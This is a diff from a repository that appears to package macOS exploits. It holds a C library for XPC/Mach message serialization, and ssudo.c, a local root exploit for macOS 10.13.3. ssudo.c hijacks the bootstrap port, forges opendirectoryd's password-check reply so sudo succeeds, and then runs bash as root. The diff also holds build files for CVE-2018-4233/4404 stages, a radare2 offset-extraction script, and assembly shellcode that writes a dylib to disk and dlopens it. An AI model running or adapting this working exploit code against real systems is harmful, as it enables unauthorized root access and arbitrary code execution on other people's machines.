printf("%02x", value.value.data.ptr[i]);
printf("\n");
break;
default:
printf("%*cUnknown item of type %d\n", indent, ' ', value.type);
}
free(indent_str);
}
void spc_dump(spc_dictionary_t* dict)
{
spc_value_t value;
value.type = SPC_TYPE_DICT;
value.value.dict = dict;
spc_dump_value(value, 0);
}

View File

@ -0,0 +1,30 @@
#ifndef _DICTIONARY_H_
#define _DICTIONARY_H_
#include "datatypes.h"
spc_dictionary_t* spc_dictionary_create();
void spc_dictionary_set_value(spc_dictionary_t* dict, const char* key, spc_value_t value);
void spc_dictionary_set_string(spc_dictionary_t* dict, const char* key, const char* value);
void spc_dictionary_set_uint64(spc_dictionary_t* dict, const char* key, uint64_t value);
void spc_dictionary_set_int64(spc_dictionary_t* dict, const char* key, int64_t value);
void spc_dictionary_set_bool(spc_dictionary_t* dict, const char* key, int value);
void spc_dictionary_set_data(spc_dictionary_t* dict, const char* key, const void* value, size_t len);
void spc_dictionary_set_send_port(spc_dictionary_t* dict, const char* key, mach_port_t port);
void spc_dictionary_set_receive_port(spc_dictionary_t* dict, const char* key, mach_port_t port);
void spc_dictionary_set_fd(spc_dictionary_t* dict, const char* key, int fd);
spc_dictionary_item_t* spc_dictionary_lookup(spc_dictionary_t* dict, const char* key);
mach_port_t spc_dictionary_get_send_port(spc_dictionary_t* dict, const char* key);
mach_port_t spc_dictionary_get_receive_port(spc_dictionary_t* dict, const char* key);
uint64_t spc_dictionary_get_uint64(spc_dictionary_t* dict, const char* key);
uint64_t spc_dictionary_get_int64(spc_dictionary_t* dict, const char* key);
const char* spc_dictionary_get_string(spc_dictionary_t* dict, const char* key);
int spc_dictionary_get_bool(spc_dictionary_t* dict, const char* key);
void spc_dump(spc_dictionary_t* dict);
#endif

View File

@ -0,0 +1,469 @@
#include "serialization.h"
#include "array.h"
#include "dictionary.h"
#include "utils.h"
#include <stdlib.h>
#include <stddef.h>
#include <stdio.h>
typedef struct {
unsigned char* start;
unsigned char* end;
unsigned char* ptr;
size_t num_ports;
spc_port_t* ports;
} writer_t;
typedef struct {
unsigned char* end;
unsigned char* ptr;
size_t next_port;
size_t num_ports;
spc_port_t* ports;
} reader_t;
char last_header[8] = "CPX@\x05\x00\x00\x00";
void spc_ensure_space(writer_t* writer, size_t num_bytes)
{
if (writer->ptr + num_bytes > writer->end) {
size_t new_size = (writer->end - writer->start) + num_bytes;
void* buf = realloc(writer->start, new_size);
writer->ptr = buf + (writer->ptr - writer->start);
writer->start = buf;
writer->end = buf + new_size;
}
}
size_t spc_write(writer_t* writer, void* buf, size_t len)
{
spc_ensure_space(writer, len);
memcpy(writer->ptr, buf, len);
writer->ptr += len;
return len;
}
size_t spc_write_padded(writer_t* writer, const void* buf, size_t len)
{
size_t remainder = (4 - (len % 4)) % 4;
spc_ensure_space(writer, len + remainder);
memcpy(writer->ptr, buf, len);
writer->ptr += len;
memset(writer->ptr, 0, remainder);
writer->ptr += remainder;
return len + remainder;
}
size_t spc_write_str(writer_t* writer, const char* str)
{
return spc_write_padded(writer, str, strlen(str) + 1);
}
size_t spc_write_uint32(writer_t* writer, uint32_t val)
{
// TODO replace with
// spc_write(writer, &val, 4);
spc_ensure_space(writer, 4);
memcpy(writer->ptr, &val, 4);
writer->ptr += 4;
return 4;
}
size_t spc_write_uint64(writer_t* writer, uint64_t val)
{
spc_ensure_space(writer, 8);
memcpy(writer->ptr, &val, 8);
writer->ptr += 8;
return 8;
}
size_t spc_write_int64(writer_t* writer, uint64_t val)
{
spc_ensure_space(writer, 8);
memcpy(writer->ptr, &val, 8);
writer->ptr += 8;
return 8;
}
size_t spc_write_double(writer_t* writer, double val)
{
spc_ensure_space(writer, 8);
memcpy(writer->ptr, &val, 8);
writer->ptr += 8;
return 8;
}
void spc_write_port(writer_t* writer, spc_port_t port)
{
writer->ports = realloc(writer->ports, (writer->num_ports + 1) * sizeof(spc_port_t));
writer->ports[writer->num_ports] = port;
writer->num_ports += 1;
}
size_t spc_write_array(writer_t* writer, spc_array_t* array);
size_t spc_write_dict(writer_t* writer, spc_dictionary_t* dict);
size_t spc_serialize_value(writer_t* writer, spc_value_t value)
{
size_t bytes_written = 0;
bytes_written += spc_write_uint32(writer, value.type);
switch (value.type) {
case SPC_TYPE_NULL:
break;
case SPC_TYPE_BOOL:
bytes_written += spc_write_uint32(writer, value.value.u64);
break;
case SPC_TYPE_UINT64:
bytes_written += spc_write_uint64(writer, value.value.u64);
break;
case SPC_TYPE_INT64:
bytes_written += spc_write_int64(writer, value.value.i64);
break;
case SPC_TYPE_DOUBLE:
bytes_written += spc_write_double(writer, value.value.dbl);
break;
case SPC_TYPE_STRING:
bytes_written += spc_write_uint32(writer, strlen(value.value.str) + 1);
bytes_written += spc_write_str(writer, value.value.str);
break;
case SPC_TYPE_ARRAY:
bytes_written += spc_write_array(writer, value.value.array);
break;
case SPC_TYPE_DICT:
bytes_written += spc_write_dict(writer, value.value.dict);
break;
case SPC_TYPE_FD:
case SPC_TYPE_SEND_PORT:
case SPC_TYPE_RECV_PORT:
spc_write_port(writer, value.value.port);
break;
case SPC_TYPE_UUID:
bytes_written += spc_write(writer, value.value.ptr, 0x10);
break;
case SPC_TYPE_DATA:
bytes_written += spc_write_uint32(writer, value.value.data.size);
bytes_written += spc_write_padded(writer, value.value.data.ptr, value.value.data.size);
break;
default:
printf("Unsupported value type: 0x%x\n", value.type);
}
return bytes_written;
}
size_t spc_write_array(writer_t* writer, spc_array_t* array)
{
size_t bytes_written = 0;
ptrdiff_t bytesize_offset = writer->ptr - writer->start;
spc_write_uint32(writer, 0); // placeholder for byte size
bytes_written += spc_write_uint32(writer, array->length);
for (size_t i = 0; i < array->length; i++) {
bytes_written += spc_serialize_value(writer, array->values[i]);
}
// Fill in correct byte size
*(uint32_t*)(writer->start + bytesize_offset) = bytes_written;
return bytes_written + 4;
}
size_t spc_write_dict(writer_t* writer, spc_dictionary_t* dict)
{
size_t bytes_written = 0;
ptrdiff_t bytesize_offset = writer->ptr - writer->start;
spc_write_uint32(writer, 0); // placeholder for byte size
bytes_written += spc_write_uint32(writer, dict->num_items);
for (spc_dictionary_item_t* item = dict->items; item != NULL; item = item->next) {
bytes_written += spc_write_str(writer, item->key);
bytes_written += spc_serialize_value(writer, item->value);
}
// Fill in correct byte size
*(uint32_t*)(writer->start + bytesize_offset) = bytes_written;
return bytes_written + 4;
}
spc_mach_message_t* spc_serialize(spc_message_t* msg)
{
spc_mach_message_t* mach_msg;
size_t actual_size, content_size, initial_size = msg->content->num_items * 32; // heuristic
writer_t writer;
writer.start = malloc(initial_size);
writer.end = writer.start + initial_size;
writer.ptr = writer.start;
writer.ports = NULL;
writer.num_ports = 0;
spc_write(&writer, last_header, 8);
spc_write_uint32(&writer, SPC_TYPE_DICT);
spc_write_dict(&writer, msg->content);
content_size = writer.ptr - writer.start;
char* ptr;
if (writer.num_ports != 0) {
// Must create a complex messge
actual_size = sizeof(mach_msg_header_t) + sizeof(mach_msg_body_t) + writer.num_ports * sizeof(mach_msg_port_descriptor_t) + content_size;
mach_msg = malloc(actual_size);
mach_msg->header.msgh_bits = MACH_MSGH_BITS_COMPLEX;
ptr = (char*)mach_msg + sizeof(mach_msg_header_t);
mach_msg_body_t* body = (mach_msg_body_t*)ptr;
body->msgh_descriptor_count = writer.num_ports;
ptr += sizeof(mach_msg_body_t);
for (size_t i = 0; i < writer.num_ports; i++) {
mach_msg_port_descriptor_t* descriptor = (mach_msg_port_descriptor_t*)ptr;
descriptor->type = MACH_MSG_PORT_DESCRIPTOR;
descriptor->name = writer.ports[i].name;
descriptor->disposition = writer.ports[i].type;
ptr += sizeof(mach_msg_port_descriptor_t);
}
} else {
actual_size = sizeof(mach_msg_header_t) + content_size;
mach_msg = malloc(actual_size);
mach_msg->header.msgh_bits = 0;
ptr = (char*)mach_msg->buf;
}
// Fill in the mach message
mach_msg->header.msgh_remote_port = msg->remote_port.name;
mach_msg->header.msgh_local_port = msg->local_port.name;
mach_msg->header.msgh_id = msg->id;
mach_msg->header.msgh_size = actual_size;
mach_msg->header.msgh_bits |= MACH_MSGH_BITS(msg->remote_port.type, msg->local_port.type);
memcpy(ptr, writer.start, content_size);
free(writer.start);
return mach_msg;
}
void* spc_read(reader_t* reader, size_t len)
{
// Let it crash if the received message is invalid...
if (reader->ptr + len > reader->end) {
printf("OOB read in spc_read\n");
abort();
}
void* res = reader->ptr;
reader->ptr += len;
return res;
}
uint64_t spc_read_uint64(reader_t* reader)
{
return *(uint64_t*)spc_read(reader, 8);
}
int64_t spc_read_int64(reader_t* reader)
{
return *(int64_t*)spc_read(reader, 8);
}
double spc_read_double(reader_t* reader)
{
return *(double*)spc_read(reader, 8);
}
uint32_t spc_read_uint32(reader_t* reader)
{
return *(uint32_t*)spc_read(reader, 4);
}
void* spc_read_padded(reader_t* reader, size_t size)
{
size_t remainder = (4 - (size % 4)) % 4;
return spc_read(reader, size + remainder);
}
char* spc_read_str(reader_t* reader)
{
unsigned char* end = memchr(reader->ptr, 0, reader->end - reader->ptr);
if (!end)
return NULL;
return spc_read_padded(reader, end - reader->ptr + 1);
}
spc_port_t spc_reader_next_port(reader_t* reader)
{
if (reader->next_port >= reader->num_ports)
return SPC_NULL_PORT;
reader->next_port++;
return reader->ports[reader->next_port - 1];
}
spc_value_t spc_deserialize_value(reader_t* reader);
spc_array_t* spc_deserialize_array(reader_t* reader)
{
spc_array_t* array = spc_array_create();
spc_read_uint32(reader);
size_t length = spc_read_uint32(reader);
for (uint32_t i = 0; i < length; i++) {
spc_value_t value = spc_deserialize_value(reader);
spc_array_set_value(array, i, value);
}
return array;
}
spc_dictionary_t* spc_deserialize_dict(reader_t* reader)
{
spc_dictionary_t* dict = spc_dictionary_create();
spc_read_uint32(reader);
dict->num_items = spc_read_uint32(reader);
for (uint32_t i = 0; i < dict->num_items; i++) {
spc_dictionary_item_t* item = malloc(sizeof(spc_dictionary_item_t));
item->key = strdup(spc_read_str(reader));
item->value = spc_deserialize_value(reader);
item->next = dict->items;
dict->items = item;
}
return dict;
}
spc_value_t spc_deserialize_value(reader_t* reader)
{
spc_value_t value;
value.type = spc_read_uint32(reader);
switch (value.type) {
case SPC_TYPE_NULL:
break;
case SPC_TYPE_BOOL:
value.value.u64 = spc_read_uint32(reader);
break;
case SPC_TYPE_UINT64:
value.value.u64 = spc_read_uint64(reader);
break;
case SPC_TYPE_INT64:
value.value.i64 = spc_read_int64(reader);
break;
case SPC_TYPE_DOUBLE:
value.value.dbl = spc_read_double(reader);
break;
case SPC_TYPE_STRING:
spc_read_uint32(reader);
value.value.str = strdup(spc_read_str(reader));
break;
case SPC_TYPE_ARRAY:
value.value.array = spc_deserialize_array(reader);
break;
case SPC_TYPE_DICT:
value.value.dict = spc_deserialize_dict(reader);
break;
case SPC_TYPE_SEND_PORT:
value.value.port = spc_reader_next_port(reader);
break;
case SPC_TYPE_RECV_PORT:
value.value.port = spc_reader_next_port(reader);
break;
case SPC_TYPE_UUID:
value.value.ptr = malloc(0x10);
memcpy(value.value.ptr, spc_read(reader, 0x10), 0x10);
break;
case SPC_TYPE_DATA:
value.value.data.size = spc_read_uint32(reader);
value.value.data.ptr = malloc(value.value.data.size);
memcpy(value.value.data.ptr, spc_read_padded(reader, value.value.data.size), value.value.data.size);
break;
default:
printf("Unsupported value type: 0x%x\n", value.type);
exit(-1);
}
return value;
}
#define MSGID_CONNECTION_INTERRUPTED 71
spc_message_t* spc_deserialize(spc_mach_message_t* mach_msg)
{
reader_t reader;
reader.next_port = 0;
reader.num_ports = 0;
reader.ports = NULL;
reader.end = (unsigned char*)mach_msg + mach_msg->header.msgh_size;
reader.ptr = mach_msg->buf;
// Handle well-known message IDs
if (mach_msg->header.msgh_id == MSGID_CONNECTION_INTERRUPTED) {
spc_dictionary_t* dict = spc_dictionary_create();
spc_dictionary_set_string(dict, "error", "Connection interrupted");
printf("Connection interrupted\n");
// TODO
exit(-1);
}
if (mach_msg->header.msgh_bits & MACH_MSGH_BITS_COMPLEX) {
mach_msg_body_t* body = (mach_msg_body_t*)spc_read(&reader, sizeof(mach_msg_body_t));
for (int i = 0; i < body->msgh_descriptor_count; i++) {
mach_msg_descriptor_type_t type = ((mach_msg_type_descriptor_t*)reader.ptr)->type;
switch (type) {
case MACH_MSG_PORT_DESCRIPTOR: {
reader.ports = realloc(reader.ports, (reader.num_ports + 1) * sizeof(spc_port_t));
mach_msg_port_descriptor_t* descriptor = (mach_msg_port_descriptor_t*)spc_read(&reader, sizeof(mach_msg_port_descriptor_t));
reader.ports[reader.num_ports].name = descriptor->name;
reader.ports[reader.num_ports].type = descriptor->disposition;
reader.num_ports += 1;
break;
}
case MACH_MSG_OOL_DESCRIPTOR:
spc_read(&reader, sizeof(mach_msg_ool_descriptor_t));
printf("Warning: ignoring OOL descriptor\n");
break;
case MACH_MSG_OOL_PORTS_DESCRIPTOR:
spc_read(&reader, sizeof(mach_msg_ool_ports_descriptor_t));
printf("Warning: ignoring OOL ports descriptor\n");
break;
default:
printf("Unsupported mach message descriptor type: %d\n", type);
exit(-1);
}
}
}
void* header = spc_read(&reader, 8);
memcpy(last_header, header, 8);
spc_value_t value = spc_deserialize_value(&reader);
if (value.type != SPC_TYPE_DICT) {
spc_value_destroy(value);
puts("Invalid XPC message type");
return NULL;
}
spc_message_t* msg = malloc(sizeof(spc_message_t));
msg->remote_port.name = mach_msg->header.msgh_remote_port;
msg->remote_port.type = MACH_MSGH_BITS_REMOTE(mach_msg->header.msgh_bits);
msg->local_port.name = mach_msg->header.msgh_remote_port;
msg->local_port.type = MACH_MSGH_BITS_LOCAL(mach_msg->header.msgh_bits);
msg->id = mach_msg->header.msgh_id;
msg->content = value.value.dict;
return msg;
}

View File

@ -0,0 +1,19 @@
#ifndef _SERIALIZATION_H_
#define _SERIALIZATION_H_
#include "datatypes.h"
#include <mach/mach.h>
typedef struct _spc_mach_message_t {
mach_msg_header_t header;
unsigned char buf[]; // variable sized body
} spc_mach_message_t;
// Serializes the given dictionary into a spc_mach_message_t.
// The returned pointer has to be free()d by the caller.
spc_mach_message_t* spc_serialize(spc_message_t* msg);
spc_message_t* spc_deserialize(spc_mach_message_t* msg);
#endif

View File

@ -0,0 +1,6 @@
#include "datatypes.h"
#include "array.h"
#include "dictionary.h"
#include "serialization.h"
#include "connection.h"
#include "utils.h"

View File

@ -0,0 +1,79 @@
#include "utils.h"
const char* spc_errors[] = {
"",
"Malformed bundle",
"Invalid path",
"Invalid property list",
"Invalid or missing service identifier",
"Invalid or missing Program/ProgramArguments",
"Could not find specified domain",
"Could not find specified service",
"The specified username does not exist",
"The specified group does not exist",
"Routine not yet implemented",
"(n/a)",
"Bad response from server",
"Service is disabled",
"Bad subsystem destination for request",
"Path not searched for services",
"Path had bad ownership/permissions",
"Path is whitelisted for domain",
"Domain is tearing down",
"omain does not support specified action",
"Request type is no longer supported",
"The specified service did not ship with the operating system",
"The specified path is not a bundle",
"The service was superseded by a later version",
"The system encountered a condition where behavior was undefined",
"Out of order requests",
"Request for stale data",
"Multiple errors were returned; see stderr",
"Service cannot load in requested session",
"Process is not managed",
"Action not allowed on singleton service",
"Service does not support the specified action",
"Service cannot be loaded on this hardware",
"Service cannot presently execute",
"Service name is reserved or invalid",
"Reentrancy avoided",
"Operation only supported on development builds",
"Requested entry was cached",
"Requestor lacks required entitlement",
"Endpoint is hidden",
"Domain is in on-demand-only mode",
"The specified service did not ship in the requestor",
"The specified service path was not in the service cache",
"Could not find a bundle of the given identifier through LaunchServices",
"Operation not permitted while System Integrity Protection is engaged",
"A complete hack",
"Service cannot load in current boot environment",
"Completely unexpected error",
"Requestor is not a platform binary",
"Refusing to execute/trust quarantined program/file",
"Domain creation with that UID is not allowed anymore",
"System service is not in system service whitelist",
"Unknown error",
};
const char* spc_strerror(int errno)
{
const char* result;
if (errno - 107 >= 52)
result = strerror(errno);
else
result = spc_errors[errno - 106];
return result;
}
int mach_port_addref(mach_port_t port, mach_port_right_t right) {
mach_port_urefs_t refs;
kern_return_t kr = mach_port_get_refs(mach_task_self(), port, right, &refs);
ASSERT_MACH_SUCCESS(kr, "mach_port_get_refs");
ASSERT_MSG(refs != 0, "invalid mach port given to mach_port_addref");
kr = mach_port_mod_refs(mach_task_self(), port, right, 1);
ASSERT_MACH_SUCCESS(kr, "mach_port_mod_refs");
return refs + 1;
}

View File

@ -0,0 +1,18 @@
#ifndef _UTILS_H_
#define _UTILS_H_
#include <stdio.h>
#include <stdlib.h>
#include <mach/mach.h>
#define ASSERT(c) if (!(c)) { printf("[-] assertion \"" #c "\" failed\n"); exit(-1); }
#define ASSERT_MSG(c, msg) if (!(c)) { printf("[-] %s\n", msg); exit(-1); }
#define ASSERT_SUCCESS(r, name) if (r != 0) { printf("[-] %s failed!\n", name); exit(-1); }
#define ASSERT_MACH_SUCCESS(r, name) if (r != 0) { printf("[-] %s failed: %s!\n", name, mach_error_string(r)); exit(-1); }
#define ASSERT_POSIX_SUCCESS(r, name) if (r != 0) { printf("[-] %s failed: %s!\n", name, strerror(r)); exit(-1); }
const char* spc_strerror(int errno);
int mach_port_addref(mach_port_t port, mach_port_right_t right);
#endif

View File

@ -0,0 +1,6 @@
CC = clang
CFLAGS += -I../libspc
LIB = $(wildcard ../libspc/*.c)
ssudo: ssudo.c $(LIB)
$(CC) $(CFLAGS) -o ssudo $(LIB) ssudo.c

Binary file not shown.

View File

@ -0,0 +1,278 @@
/*
* ssudo.c - local root exploit for macOS 10.13.3
*
* Achieves MitM between sudo and opendirectoryd (which verifies passwords) by
* abusing the task_set_special_port API to overwrite the bootstrap port.
*
* Program flow:
* 1. Overwrite the bootstrap port, start threads to bridge XPC traffic to
* opendirectoryd, forward traffic to launchd but resolve opendirectoryd
* to our own port instead
* 2. Fork and exec sudo. Sudo will talk to opendirectoryd to verify the
* password. We modify the reply to indicate success
* 3. sudo executes this binary again. We detect that and restore the bootstrap
* port, then run the requested command
*
* Limitations: currently stderr is set to stdout in the child processes, see comments below
*/
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <pthread.h>
#include <bootstrap.h>
#include <errno.h>
#include <spc.h>
#define TARGET_SERVICE "com.apple.system.opendirectoryd.api"
#define SERVICE_NAME "net.saelo.hax"
// Need to declare this since it's not included in bootstrap.h
extern kern_return_t bootstrap_register2(mach_port_t bp, name_t service_name, mach_port_t sp, int flags);
mach_port_t bootstrap_port, fake_bootstrap_port, fake_service_port, real_service_port;
pthread_t fake_service_thread, bridge_threads[2];
void get_bootstrap_port()
{
kern_return_t kr = task_get_special_port(mach_task_self(), TASK_BOOTSTRAP_PORT, &bootstrap_port);
ASSERT_MACH_SUCCESS(kr, "task_get_special_port");
}
// Generic XPC bridge. Works only for messages that do not expect a reply.
void* bridge_connection(void* arg)
{
spc_connection_t* bridge = arg;
while (1) {
spc_message_t* msg = spc_recv(bridge->receive_port);
msg->local_port.name = MACH_PORT_NULL;
msg->local_port.type = 0;
msg->remote_port.name = bridge->send_port;
msg->remote_port.type = MACH_MSG_TYPE_COPY_SEND;
// Hack 3: replace "error: 5000" with "error: 0" to indicate success
spc_dictionary_item_t* item = spc_dictionary_lookup(msg->content, "error");
if (item)
item->value.value.u64 = 0;
spc_send(msg);
spc_message_destroy(msg);
}
return NULL;
}
void* fake_service_main(void* arg)
{
int ret;
// Await incoming connection
spc_connection_t* client_connection = spc_accept_connection(fake_service_port);
spc_connection_t* service_connection = spc_create_connection_mach_port(real_service_port);
spc_connection_t* bridge_1 = malloc(sizeof(spc_connection_t));
spc_connection_t* bridge_2 = malloc(sizeof(spc_connection_t));
bridge_1->receive_port = client_connection->receive_port;
bridge_1->send_port = service_connection->send_port;
bridge_2->receive_port = service_connection->receive_port;
bridge_2->send_port = client_connection->send_port;
ret = pthread_create(&bridge_threads[0], NULL, &bridge_connection, bridge_1);
ASSERT_POSIX_SUCCESS(ret, "pthread_create");
ret = pthread_create(&bridge_threads[1], NULL, &bridge_connection, bridge_2);
ASSERT_POSIX_SUCCESS(ret, "pthread_create");
free(client_connection);
free(service_connection);
return NULL;
}
void start_fake_service()
{
kern_return_t kr;
// Resolve real service port for later
kr = bootstrap_look_up(bootstrap_port, TARGET_SERVICE, &real_service_port);
ASSERT_MACH_SUCCESS(kr, "bootstrap_look_up");
kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &fake_service_port);
ASSERT_MACH_SUCCESS(kr, "mach_port_allocate");
kr = bootstrap_register2(bootstrap_port, SERVICE_NAME, fake_service_port, 0);
ASSERT_MACH_SUCCESS(kr, "bootstrap_register2");
// Run the fake service in a separate thread
int ret = pthread_create(&fake_service_thread, NULL, &fake_service_main, NULL);
ASSERT_POSIX_SUCCESS(ret, "pthread_create");
}
void setup_fake_bootstrap_port()
{
kern_return_t kr;
mach_port_t fake_bootstrap_send_port;
kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &fake_bootstrap_port);
ASSERT_MACH_SUCCESS(kr, "mach_port_allocate");
mach_msg_type_name_t aquired_type;
kr = mach_port_extract_right(mach_task_self(), fake_bootstrap_port, MACH_MSG_TYPE_MAKE_SEND, &fake_bootstrap_send_port, &aquired_type);
ASSERT_MACH_SUCCESS(kr, "mach_port_allocate");
// Hack 1: replace the bootstrap port of this and all child processes with our own port
kr = task_set_special_port(mach_task_self(), TASK_BOOTSTRAP_PORT, fake_bootstrap_send_port);
ASSERT_MACH_SUCCESS(kr, "task_set_special_port");
}
void restore_bootstrap_port()
{
spc_dictionary_t* msg = spc_dictionary_create();
spc_dictionary_t* reply;
spc_domain_routine(0x31337, msg, &reply);
mach_port_t bootstrap_port = spc_dictionary_get_send_port(reply, "original_bootstrap_port");
kern_return_t kr = task_set_special_port(mach_task_self(), TASK_BOOTSTRAP_PORT, bootstrap_port);
ASSERT_MACH_SUCCESS(kr, "task_set_special_port");
spc_dictionary_destroy(msg);
spc_dictionary_destroy(reply);
}
void handle_sigchld()
{
exit(0);
}
// Spawn the (privileged) child process with our controlled bootstrap port
void spawn_child(const char* self, const char* command)
{
int stdin_pipe[2];
pipe(stdin_pipe);
pid_t pid = fork();
if (pid == 0) {
close(stdin_pipe[1]);
// sudo will only preserve the first three file descriptors, so we abuse
// stdout to remporarily hold on to stdin.
// TODO to fix this we'd have to fetch the original file descriptors
// from the parent via XPC.
dup2(STDOUT_FILENO, STDERR_FILENO);
dup2(STDIN_FILENO, STDOUT_FILENO);
dup2(stdin_pipe[0], STDIN_FILENO);
execl("/usr/bin/sudo", "/usr/bin/sudo", "-p", "", "-S", self, command, NULL);
ASSERT_POSIX_SUCCESS(errno, "execl");
} else if (pid < 0) {
puts("Fork failed");
ASSERT_POSIX_SUCCESS(errno, "fork");
}
close(stdin_pipe[0]);
struct sigaction sa;
sa.sa_handler = &handle_sigchld;
sigemptyset(&sa.sa_mask);
sa.sa_flags = SA_RESTART | SA_NOCLDSTOP;
if (sigaction(SIGCHLD, &sa, 0) == -1) {
printf("sigaction failed\n");
exit(-1);
}
// Send a "password" so sudo continues
write(stdin_pipe[1], "i_can_haz_root\n", 16);
}
void bridge_launchd_connection()
{
// For launchd messages, libxpc checks that the reply comes from pid 1 and uid 0.
// As such, we have to let launchd send the replies directly to our child process.
// However, we can manipulate the messages sent to launchd and can thus resolve
// services to different (controlled) ports.
while (1) {
// Wait for the next bootstrap message from a child process.
spc_message_t* msg = spc_recv(fake_bootstrap_port);
// Special routine: allow child processes to restore the bootstrap port
if (spc_dictionary_get_uint64(msg->content, "routine") == 0x31337) {
spc_dictionary_t* reply = spc_dictionary_create();
spc_dictionary_set_send_port(reply, "original_bootstrap_port", bootstrap_port);
spc_reply(msg, reply);
spc_message_destroy(msg);
spc_dictionary_destroy(reply);
continue;
}
// Rewrite source (our child process) and destination (real launchd) of message.
msg->local_port.name = msg->remote_port.name;
msg->local_port.type = MACH_MSG_TYPE_MOVE_SEND_ONCE;
msg->remote_port.name = bootstrap_port;
msg->remote_port.type = MACH_MSG_TYPE_COPY_SEND;
// Possibly modify the message before forwarding to launchd
if (spc_dictionary_get_send_port(msg->content, "domain-port") == fake_bootstrap_port) {
// Must replace our fake bootstrap port in the content of the message with the real one.
spc_dictionary_set_send_port(msg->content, "domain-port", bootstrap_port);
}
if (strcmp(spc_dictionary_get_string(msg->content, "name"), TARGET_SERVICE) == 0) {
// Hack 2: resolve the target service to our fake service instead >:)
spc_dictionary_set_string(msg->content, "name", SERVICE_NAME);
// Must also change a few of the other fields of the message...
spc_dictionary_set_uint64(msg->content, "flags", 0);
spc_dictionary_set_uint64(msg->content, "subsystem", 5);
spc_dictionary_set_uint64(msg->content, "routine", 207);
spc_dictionary_set_uint64(msg->content, "type", 7);
}
// Forward to launchd
spc_send(msg);
spc_message_destroy(msg);
}
}
int main(int argc, char** argv)
{
if (argc < 2) {
printf("Usage: %s command\n", argv[0]);
return 0;
}
if (getuid() == 0) {
// We are being executed by sudo. We now need to restore the original
// bootstrap port and stdin fd and then execute the requested command
restore_bootstrap_port();
if (!fork()) {
dup2(STDOUT_FILENO, STDIN_FILENO);
dup2(STDERR_FILENO, STDOUT_FILENO);
return execl("/bin/bash", "/bin/bash", "-c", argv[1], NULL);
}
return 0;
}
// Copy command into one string suitable for "bash -c"
size_t size = 0;
for (int i = 1; i < argc; i++) {
size += strlen(argv[i]) + 1;
}
char* command = calloc(size, 1);
for (int i = 1; i < argc; i++) {
strlcat(command, argv[i], size);
strlcat(command, " ", size); // final whitespace will not be written due to size limit
}
get_bootstrap_port();
start_fake_service();
setup_fake_bootstrap_port();
spawn_child(argv[0], command);
bridge_launchd_connection();
return 0;
}

View File

@ -0,0 +1,13 @@
all:
+$(MAKE) -C stage1
+$(MAKE) -C stage2
install:
cp stage1/stage1.bin ../../../../data/exploits/CVE-2018-4233/stage1.bin
cp stage2/stage2.dylib ../../../../data/exploits/CVE-2018-4404/stage2.dylib
clean:
rm -f stage1/stage1.bin
rm -f stage2/stage2.dylib

View File

@ -0,0 +1,30 @@
#!/usr/bin/env ruby
# -*- coding: binary -*-
#`brew install radare2` <-- older version :(
#`git clone https://github.com/radare/radare2 && cd radare2 && ./sys/install.sh`
def grab_offset(lib_file, function)
offset_string = `r2 -2qQ -c 'aa; afl | grep #{function}' #{lib_file}`
offset_string[0..9]
end
version = `sw_vers -productVersion`.strip
puts " '#{version}' => {"
puts " :dyld_stub_loader => '#{grab_offset("/usr/lib/system/libdyld.dylib", "dyld_stub_binder")}',"
puts " :dlopen => '#{grab_offset("/usr/lib/system/libdyld.dylib", "sym._dlopen")}',"
puts " :confstr => '#{grab_offset("/usr/lib/system/libsystem_c.dylib", "sym._confstr")}',"
puts " :strlen => '#{grab_offset("/usr/lib/system/libsystem_c.dylib", "sym._strlen")}',"
strlen_disasm = `r2 -2qQ -c "iS | grep nl_symbol_ptr; s sym.imp.strlen; pd 1" /System/Library/Frameworks/JavaScriptCore.framework/JavaScriptCore`
#strlen_disasm = '''
#12 0x00b67000 16 0x00b66000 16 -rw- 12.__DATA.__nl_symbol_ptr
#;-- imp.strlen:
#0x00ace162 ff25808d0900 jmp qword [0x00b66ee8] ; [0xb66ee8:8]=0xacf30e
#'''
got_offset = strlen_disasm.split(" ")[3].to_i(16)
strlen_got_entry = strlen_disasm.scan(/\[(\S+)\]/).first.first.to_i(16)
strlen_got_offset = (strlen_got_entry - got_offset).to_s(16)
puts " :strlen_got => '0x#{strlen_got_offset}',"
puts " },"

View File

@ -0,0 +1,7 @@
.PHONY: all
all: stage1.js
stage1.js: stage1.asm
@nasm -o stage1.bin stage1.asm

View File

@ -0,0 +1,70 @@
BITS 64
start:
; int 3
; Step 0: function prologue
sub rsp, 0x1008 ; ensure 16-byte alignment
; Step 1: call confstr() and build the path to our stage 2 .dylib on the stack
mov rdx, 0x1000
mov rsi, rsp
mov rdi, 65537 ; _CS_DARWIN_USER_TEMP_DIR
mov rax, 0x4141414141414141 ; will be replaced with &confstr
call rax ; confstr()
test rax, rax
jnz build_path
mov rax, 0xffff000000000001 ; return 1 to indicate failure in confstr
jmp exit
build_path:
dec rax
mov rcx, rsp
add rcx, rax
mov dword [rcx], 0x79642e78 ; x.dy
mov dword [rcx+4], 0x62696c ; lib\x00
; Step 2: write dylib to filesystem
mov rax, 0x2000005 ; sys_open
mov rdi, rsp ; path
mov rdx, 0x1ed ; protections (0644)
mov rsi, 0x602 ; O_TRUNC | O_CREAT | O_RDWR
syscall
jnb write_file
mov rax, 0xffff000000000002 ; return 2 to indicate failure in open
jmp exit
write_file:
mov rdi, rax
mov rsi, 0x4242424242424242
mov r8, 0x4343434343434343 ; rdx is set to zero during the syscall...
write_loop:
mov rdx, r8
mov rax, 0x2000004 ; sys_write
syscall
jnb write_succeeded
mov rax, 0xffff000000000003 ; return 3 to indicate failure in write
jmp exit
write_succeeded:
sub r8, rax
add rsi, rax
test r8, r8
jnz write_loop
; Step 3: open dylib with dlopen
dlopen:
xor rsi, rsi
mov rdi, rsp
mov rax, 0x4444444444444444 ; will be replaced with &dlopen
call rax
test rax, rax
jnz exit_success
mov rax, 0xffff000000000004 ; return 4 to indicate failure in dlopen
jmp exit
; Step 4: function epilogue and return
exit_success:
mov rax, 0xffff000000000000 ; return 0 for success
exit:
add rsp, 0x1008
ret

View File

@ -0,0 +1,8 @@
CC = clang
.PHONY: all
all: stage2.dylib
stage2.dylib: payload.c
$(CC) -shared -o stage2.dylib payload.c

View File

@ -0,0 +1,42 @@
#include <stdlib.h>
#include <mach/mach_port.h>
struct spawn_via_launchd_attr {
uint64_t spawn_flags;
const char *spawn_path;
const char *spawn_chdir;
const char * const * spawn_env;
const mode_t *spawn_umask;
mach_port_t *spawn_observer_port;
const cpu_type_t *spawn_binpref;
